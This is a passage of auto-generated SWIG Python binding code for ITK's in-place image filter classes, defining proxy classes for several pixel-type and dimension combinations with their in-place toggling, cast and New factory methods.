new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2IRGBUC2_InPlaceOff, None, itkInPlaceImageFilterIUC2IRGBUC2) itkInPlaceImageFilterIUC2IRGBUC2.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2IRGBUC2_CanRunInPlace, None, itkInPlaceImageFilterIUC2IRGBUC2) itkInPlaceImageFilterIUC2IRGBUC2_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2IRGBUC2_swigregister itkInPlaceImageFilterIUC2IRGBUC2_swigregister(itkInPlaceImageFilterIUC2IRGBUC2) def itkInPlaceImageFilterIUC2IRGBUC2_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIUC2IRGBUC2 *": """itkInPlaceImageFilterIUC2IRGBUC2_cast(itkLightObject obj) -> itkInPlaceImageFilterIUC2IRGBUC2""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2IRGBUC2_cast(obj) class itkInPlaceImageFilterIUC2ISS2(itkImageToImageFilterAPython.itkImageToImageFilterIUC2ISS2): """Proxy of C++ itkInPlaceImageFilterIUC2ISS2 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterIUC2ISS2 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2ISS2_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterIUC2ISS2 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2ISS2_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterIUC2ISS2 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2ISS2_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterIUC2ISS2 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2ISS2_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterIUC2ISS2 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2ISS2_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterIUC2ISS2 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIUC2ISS2 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterIUC2ISS2""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2ISS2_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterIUC2ISS2 Create a new object of the class itkInPlaceImageFilterIUC2ISS2 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterIUC2ISS2.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterIUC2ISS2.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterIUC2ISS2.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterIUC2ISS2.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2ISS2_SetInPlace, None, itkInPlaceImageFilterIUC2ISS2) itkInPlaceImageFilterIUC2ISS2.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2ISS2_GetInPlace, None, itkInPlaceImageFilterIUC2ISS2) itkInPlaceImageFilterIUC2ISS2.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2ISS2_InPlaceOn, None, itkInPlaceImageFilterIUC2ISS2) itkInPlaceImageFilterIUC2ISS2.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2ISS2_InPlaceOff, None, itkInPlaceImageFilterIUC2ISS2) itkInPlaceImageFilterIUC2ISS2.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2ISS2_CanRunInPlace, None, itkInPlaceImageFilterIUC2ISS2) itkInPlaceImageFilterIUC2ISS2_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2ISS2_swigregister itkInPlaceImageFilterIUC2ISS2_swigregister(itkInPlaceImageFilterIUC2ISS2) def itkInPlaceImageFilterIUC2ISS2_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIUC2ISS2 *": """itkInPlaceImageFilterIUC2ISS2_cast(itkLightObject obj) -> itkInPlaceImageFilterIUC2ISS2""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2ISS2_cast(obj) class itkInPlaceImageFilterIUC2IUC2(itkImageToImageFilterAPython.itkImageToImageFilterIUC2IUC2): """Proxy of C++ itkInPlaceImageFilterIUC2IUC2 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterIUC2IUC2 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2IUC2_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterIUC2IUC2 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2IUC2_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterIUC2IUC2 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2IUC2_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterIUC2IUC2 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2IUC2_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterIUC2IUC2 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2IUC2_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterIUC2IUC2 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIUC2IUC2 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterIUC2IUC2""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2IUC2_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterIUC2IUC2 Create a new object of the class itkInPlaceImageFilterIUC2IUC2 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterIUC2IUC2.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterIUC2IUC2.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterIUC2IUC2.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterIUC2IUC2.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2IUC2_SetInPlace, None, itkInPlaceImageFilterIUC2IUC2) itkInPlaceImageFilterIUC2IUC2.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2IUC2_GetInPlace, None, itkInPlaceImageFilterIUC2IUC2) itkInPlaceImageFilterIUC2IUC2.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2IUC2_InPlaceOn, None, itkInPlaceImageFilterIUC2IUC2) itkInPlaceImageFilterIUC2IUC2.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2IUC2_InPlaceOff, None, itkInPlaceImageFilterIUC2IUC2) itkInPlaceImageFilterIUC2IUC2.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2IUC2_CanRunInPlace, None, itkInPlaceImageFilterIUC2IUC2) itkInPlaceImageFilterIUC2IUC2_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2IUC2_swigregister itkInPlaceImageFilterIUC2IUC2_swigregister(itkInPlaceImageFilterIUC2IUC2) def itkInPlaceImageFilterIUC2IUC2_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIUC2IUC2 *": """itkInPlaceImageFilterIUC2IUC2_cast(itkLightObject obj) -> itkInPlaceImageFilterIUC2IUC2""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2IUC2_cast(obj) class itkInPlaceImageFilterIUC2IUS2(itkImageToImageFilterAPython.itkImageToImageFilterIUC2IUS2): """Proxy of C++ itkInPlaceImageFilterIUC2IUS2 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterIUC2IUS2 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2IUS2_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterIUC2IUS2 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2IUS2_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterIUC2IUS2 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2IUS2_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterIUC2IUS2 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2IUS2_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterIUC2IUS2 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2IUS2_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterIUC2IUS2 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIUC2IUS2 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterIUC2IUS2""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2IUS2_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterIUC2IUS2 Create a new object of the class itkInPlaceImageFilterIUC2IUS2 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterIUC2IUS2.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterIUC2IUS2.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterIUC2IUS2.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterIUC2IUS2.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2IUS2_SetInPlace, None, itkInPlaceImageFilterIUC2IUS2) itkInPlaceImageFilterIUC2IUS2.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2IUS2_GetInPlace, None, itkInPlaceImageFilterIUC2IUS2) itkInPlaceImageFilterIUC2IUS2.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2IUS2_InPlaceOn, None, itkInPlaceImageFilterIUC2IUS2) itkInPlaceImageFilterIUC2IUS2.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2IUS2_InPlaceOff, None, itkInPlaceImageFilterIUC2IUS2) itkInPlaceImageFilterIUC2IUS2.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2IUS2_CanRunInPlace, None, itkInPlaceImageFilterIUC2IUS2) itkInPlaceImageFilterIUC2IUS2_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2IUS2_swigregister itkInPlaceImageFilterIUC2IUS2_swigregister(itkInPlaceImageFilterIUC2IUS2) def itkInPlaceImageFilterIUC2IUS2_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIUC2IUS2 *": """itkInPlaceImageFilterIUC2IUS2_cast(itkLightObject obj) -> itkInPlaceImageFilterIUC2IUS2""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2IUS2_cast(obj) class itkInPlaceImageFilterIUC3IF3(itkImageToImageFilterAPython.itkImageToImageFilterIUC3IF3): """Proxy of C++ itkInPlaceImageFilterIUC3IF3 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterIUC3IF3 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3IF3_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterIUC3IF3 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3IF3_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterIUC3IF3 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3IF3_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterIUC3IF3 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3IF3_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterIUC3IF3 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3IF3_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterIUC3IF3 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIUC3IF3 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterIUC3IF3""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3IF3_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterIUC3IF3 Create a new object of the class itkInPlaceImageFilterIUC3IF3 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterIUC3IF3.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterIUC3IF3.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterIUC3IF3.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterIUC3IF3.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3IF3_SetInPlace, None, itkInPlaceImageFilterIUC3IF3) itkInPlaceImageFilterIUC3IF3.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3IF3_GetInPlace, None, itkInPlaceImageFilterIUC3IF3) itkInPlaceImageFilterIUC3IF3.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3IF3_InPlaceOn, None, itkInPlaceImageFilterIUC3IF3) itkInPlaceImageFilterIUC3IF3.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3IF3_InPlaceOff, None, itkInPlaceImageFilterIUC3IF3) itkInPlaceImageFilterIUC3IF3.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3IF3_CanRunInPlace, None, itkInPlaceImageFilterIUC3IF3) itkInPlaceImageFilterIUC3IF3_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3IF3_swigregister itkInPlaceImageFilterIUC3IF3_swigregister(itkInPlaceImageFilterIUC3IF3) def itkInPlaceImageFilterIUC3IF3_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIUC3IF3 *": """itkInPlaceImageFilterIUC3IF3_cast(itkLightObject obj) -> itkInPlaceImageFilterIUC3IF3""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3IF3_cast(obj) class itkInPlaceImageFilterIUC3IRGBAUC3(itkImageToImageFilterBPython.itkImageToImageFilterIUC3IRGBAUC3): """Proxy of C++ itkInPlaceImageFilterIUC3IRGBAUC3 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterIUC3IRGBAUC3 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3IRGBAUC3_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterIUC3IRGBAUC3 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3IRGBAUC3_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterIUC3IRGBAUC3 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3IRGBAUC3_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterIUC3IRGBAUC3 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3IRGBAUC3_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterIUC3IRGBAUC3 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3IRGBAUC3_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterIUC3IRGBAUC3 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIUC3IRGBAUC3 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterIUC3IRGBAUC3""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3IRGBAUC3_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterIUC3IRGBAUC3 Create a new object of the class itkInPlaceImageFilterIUC3IRGBAUC3 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterIUC3IRGBAUC3.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterIUC3IRGBAUC3.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterIUC3IRGBAUC3.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterIUC3IRGBAUC3.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3IRGBAUC3_SetInPlace, None, itkInPlaceImageFilterIUC3IRGBAUC3) itkInPlaceImageFilterIUC3IRGBAUC3.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3IRGBAUC3_GetInPlace, None, itkInPlaceImageFilterIUC3IRGBAUC3) itkInPlaceImageFilterIUC3IRGBAUC3.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3IRGBAUC3_InPlaceOn, None, itkInPlaceImageFilterIUC3IRGBAUC3) itkInPlaceImageFilterIUC3IRGBAUC3.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3IRGBAUC3_InPlaceOff, None, itkInPlaceImageFilterIUC3IRGBAUC3) itkInPlaceImageFilterIUC3IRGBAUC3.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3IRGBAUC3_CanRunInPlace, None, itkInPlaceImageFilterIUC3IRGBAUC3) itkInPlaceImageFilterIUC3IRGBAUC3_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3IRGBAUC3_swigregister itkInPlaceImageFilterIUC3IRGBAUC3_swigregister(itkInPlaceImageFilterIUC3IRGBAUC3) def itkInPlaceImageFilterIUC3IRGBAUC3_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIUC3IRGBAUC3 *": """itkInPlaceImageFilterIUC3IRGBAUC3_cast(itkLightObject obj) -> itkInPlaceImageFilterIUC3IRGBAUC3""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3IRGBAUC3_cast(obj) class itkInPlaceImageFilterIUC3IRGBUC3(itkImageToImageFilterBPython.itkImageToImageFilterIUC3IRGBUC3): """Proxy of C++ itkInPlaceImageFilterIUC3IRGBUC3 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterIUC3IRGBUC3 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3IRGBUC3_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterIUC3IRGBUC3 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3IRGBUC3_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterIUC3IRGBUC3 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3IRGBUC3_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterIUC3IRGBUC3 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3IRGBUC3_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterIUC3IRGBUC3 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3IRGBUC3_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterIUC3IRGBUC3 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIUC3IRGBUC3 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterIUC3IRGBUC3""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3IRGBUC3_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterIUC3IRGBUC3 Create a new object of the class itkInPlaceImageFilterIUC3IRGBUC3 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterIUC3IRGBUC3.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterIUC3IRGBUC3.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterIUC3IRGBUC3.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterIUC3IRGBUC3.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3IRGBUC3_SetInPlace, None, itkInPlaceImageFilterIUC3IRGBUC3) itkInPlaceImageFilterIUC3IRGBUC3.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3IRGBUC3_GetInPlace, None, itkInPlaceImageFilterIUC3IRGBUC3) itkInPlaceImageFilterIUC3IRGBUC3.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3IRGBUC3_InPlaceOn, None, itkInPlaceImageFilterIUC3IRGBUC3) itkInPlaceImageFilterIUC3IRGBUC3.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3IRGBUC3_InPlaceOff, None, itkInPlaceImageFilterIUC3IRGBUC3) itkInPlaceImageFilterIUC3IRGBUC3.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3IRGBUC3_CanRunInPlace, None, itkInPlaceImageFilterIUC3IRGBUC3) itkInPlaceImageFilterIUC3IRGBUC3_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3IRGBUC3_swigregister itkInPlaceImageFilterIUC3IRGBUC3_swigregister(itkInPlaceImageFilterIUC3IRGBUC3) def itkInPlaceImageFilterIUC3IRGBUC3_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIUC3IRGBUC3 *": """itkInPlaceImageFilterIUC3IRGBUC3_cast(itkLightObject obj) -> itkInPlaceImageFilterIUC3IRGBUC3""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3IRGBUC3_cast(obj) class itkInPlaceImageFilterIUC3ISS3(itkImageToImageFilterAPython.itkImageToImageFilterIUC3ISS3): """Proxy of C++ itkInPlaceImageFilterIUC3ISS3 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterIUC3ISS3 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3ISS3_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterIUC3ISS3 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3ISS3_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterIUC3ISS3 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3ISS3_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterIUC3ISS3 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3ISS3_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterIUC3ISS3 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3ISS3_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterIUC3ISS3 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIUC3ISS3 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterIUC3ISS3""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3ISS3_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterIUC3ISS3 Create a new object of the class itkInPlaceImageFilterIUC3ISS3 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterIUC3ISS3.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterIUC3ISS3.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterIUC3ISS3.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterIUC3ISS3.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3ISS3_SetInPlace, None, itkInPlaceImageFilterIUC3ISS3) itkInPlaceImageFilterIUC3ISS3.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3ISS3_GetInPlace, None, itkInPlaceImageFilterIUC3ISS3) itkInPlaceImageFilterIUC3ISS3.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3ISS3_InPlaceOn, None, itkInPlaceImageFilterIUC3ISS3) itkInPlaceImageFilterIUC3ISS3.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3ISS3_InPlaceOff, None, itkInPlaceImageFilterIUC3ISS3) itkInPlaceImageFilterIUC3ISS3.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3ISS3_CanRunInPlace, None, itkInPlaceImageFilterIUC3ISS3) itkInPlaceImageFilterIUC3ISS3_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3ISS3_swigregister itkInPlaceImageFilterIUC3ISS3_swigregister(itkInPlaceImageFilterIUC3ISS3) def itkInPlaceImageFilterIUC3ISS3_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIUC3ISS3 *": 